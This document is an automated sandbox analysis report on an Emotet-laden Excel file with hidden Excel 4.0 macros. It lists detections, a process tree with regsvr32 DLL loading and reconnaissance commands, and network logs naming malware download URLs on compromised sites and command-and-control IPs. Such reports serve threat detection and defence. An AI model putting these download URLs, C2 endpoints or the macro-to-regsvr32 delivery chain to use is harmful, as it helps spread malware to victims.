Edit tour

Windows Analysis Report
informe_30062022.xls

Overview

General Information

Sample Name:	informe_30062022.xls
Analysis ID:	655637
MD5:	94db48e7998540a932a0698c1f9d8325
SHA1:	e7fd09159aaf8ea2357de4daca3ce482ca9b2adc
SHA256:	9bc74075f7f482e4166f2cde5213948915b9d9f7885e49ab434c9c036486ba56
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Uses ipconfig to lookup or modify the Windows network settings

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to enumerate running services

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Potential document exploit detected (unknown TCP traffic)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Drops PE files to the user directory

Uses Microsoft's Enhanced Cryptographic Provider

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 964 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 684 cmdline: C:\Windows\System32\regsvr32.exe /S ..\sctm1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1016 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

systeminfo.exe (PID: 1760 cmdline: systeminfo MD5: DEBEA7D13C96687CAB4248DE0B6A2CE8)

ipconfig.exe (PID: 2480 cmdline: ipconfig /all MD5: CF45949CDBB39C953331CDCB9CEC20F8)

nltest.exe (PID: 968 cmdline: nltest /dclist: MD5: B23E4D796A3FEB91241A806EC18D5C32)

regsvr32.exe (PID: 1224 cmdline: C:\Windows\System32\regsvr32.exe /S ..\sctm2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2544 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PjLQNSdPqGYp\jncSJNcDE.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

systeminfo.exe (PID: 2708 cmdline: systeminfo MD5: DEBEA7D13C96687CAB4248DE0B6A2CE8)

ipconfig.exe (PID: 2704 cmdline: ipconfig /all MD5: CF45949CDBB39C953331CDCB9CEC20F8)

nltest.exe (PID: 2868 cmdline: nltest /dclist: MD5: B23E4D796A3FEB91241A806EC18D5C32)

regsvr32.exe (PID: 2412 cmdline: C:\Windows\System32\regsvr32.exe /S ..\sctm3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2428 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YttRusg\GisEpTWmOuS.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1324 cmdline: C:\Windows\System32\regsvr32.exe /S ..\sctm4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2944 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 3020 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
informe_30062022.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x154aa:$s1: Excel 0x1653e:$s1: Excel 0x3520:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\informe_30062022.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x154aa:$s1: Excel 0x1653e:$s1: Excel 0x3520:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
C:\Users\user\AppData\Local\Temp\~DFE0F93AF5A2719FD8.TMP	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x154aa:$s1: Excel 0x1653e:$s1: Excel 0x3520:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.1145826810.0000000002141000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1212546662.0000000002070000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1212794777.0000000000500000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.922476123.0000000002111000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000002.1212495449.0000000000281000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.922324576.00000000020B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1212616896.00000000020D1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1212485334.0000000000261000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000003.984306856.0000000003671000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000003.1144792947.00000000021A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.928931752.0000000000210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000003.981015029.0000000003541000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000003.984624100.0000000003736000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000002.1212368524.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.928977615.0000000000281000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1212376414.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000003.981139905.0000000003582000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.941076199.00000000020E1000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.909936865.0000000002141000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.940219777.0000000000240000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.1145771957.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000003.984499206.0000000003735000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.909786385.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.500000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.21a0000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.3.regsvr32.exe.37531c8.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.3.regsvr32.exe.37531c8.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.20b0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.500000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.240000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.20e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.20b0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.2070000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.3581b30.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.210000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.21a0000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.210000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.3581b30.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.35600f8.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.3.regsvr32.exe.35600f8.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.2070000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.240000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.20e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 21 entries

Snort Signatures

ET CNC Feodo Tracker Reported CnC Server TCP group 9 - Source IP: 192.168.2.22 - Destination IP: 180.250.21.2

Timestamp:	192.168.2.22180.250.21.2491814432404316 07/01/22-11:38:36.385572
SID:	2404316
Source Port:	49181
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: informe_30062022.xls	Virustotal: Detection: 58%	Perma Link
Source: informe_30062022.xls	Metadefender: Detection: 36%	Perma Link
Source: informe_30062022.xls	ReversingLabs: Detection: 57%

Antivirus detection for URL or domain

Source: https://www.hayalkatibi.com/catalog/pJix6SFfnbNWFMuu8m/	Avira URL Cloud: Label: malware
Source: https://fikti.bem.gunadarma.ac.id/SDM/wC256Xn/	Avira URL Cloud: Label: malware
Source: https://180.250.21.2/	Avira URL Cloud: Label: malware
Source: https://174.138.33.49:7080/I	Avira URL Cloud: Label: malware
Source: https://174.138.33.49:7080/	Avira URL Cloud: Label: malware
Source: https://174.138.33.49:7080/M	Avira URL Cloud: Label: malware
Source: https://174.138.33.49/e	Avira URL Cloud: Label: malware
Source: https://hepsisifa.com/wp-content/T0kkNeOlvF/	Avira URL Cloud: Label: malware
Source: https://174.138.33.49/p	Avira URL Cloud: Label: malware
Source: https://aysbody.com/catalog/FlJ6iKCntAwfO85/	Avira URL Cloud: Label: malware
Source: https://174.138.33.49/ds	Avira URL Cloud: Label: malware
Source: https://174.138.33.49/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: hepsisifa.com	Virustotal: Detection: 10%			Perma Link
Source: aysbody.com	Virustotal: Detection: 16%			Perma Link

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027B028 CryptBinaryToStringW,		4_2_0027B028
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0215B028 CryptBinaryToStringW,		6_2_0215B028

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.128.75.146:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.165.46.170:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.98.72.14:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.250.21.2:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.250.21.2:443 -> 192.168.2.22:49182 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027C9F0 FindFirstFileW,FindNextFileW,	4_2_0027C9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0215C9F0 FindFirstFileW,FindNextFileW,	6_2_0215C9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_020EC9F0 FindFirstFileW,FindNextFileW,	9_2_020EC9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0029C9F0 FindFirstFileW,FindNextFileW,	11_2_0029C9F0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: zz64mUdXWhBECsusJb[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\zz64mUdXWhBECsusJb[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\LEPqPJpt4Gbr8BHAn[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Wli[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\pgsfQZfg7Qt[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: aysbody.com

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 212.98.224.29:443

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 212.98.224.29:443

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 174.138.33.49 7080			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 180.250.21.2 443			Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2404316 ET CNC Feodo Tracker Reported CnC Server TCP group 9 192.168.2.22:49181 -> 180.250.21.2:443

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View	JA3 fingerprint: eb88d0b3e1961a0562f006e5ce2a0b87

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=-----------HchsmYGNjTHost: 180.250.21.2Content-Length: 4532Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----------kSHgpeiTYLHost: 180.250.21.2Content-Length: 4494Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 174.138.33.49 174.138.33.49

Source: global traffic	HTTP traffic detected: GET /catalog/FlJ6iKCntAwfO85/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: aysbody.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/T0kkNeOlvF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hepsisifa.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /catalog/pJix6SFfnbNWFMuu8m/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.hayalkatibi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SDM/wC256Xn/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fikti.bem.gunadarma.ac.idConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49175 -> 174.138.33.49:7080

Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49
Source: unknown	TCP traffic detected without corresponding DNS query: 174.138.33.49

Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1213030333.0000000002BF3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212930371.0000000002DC6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
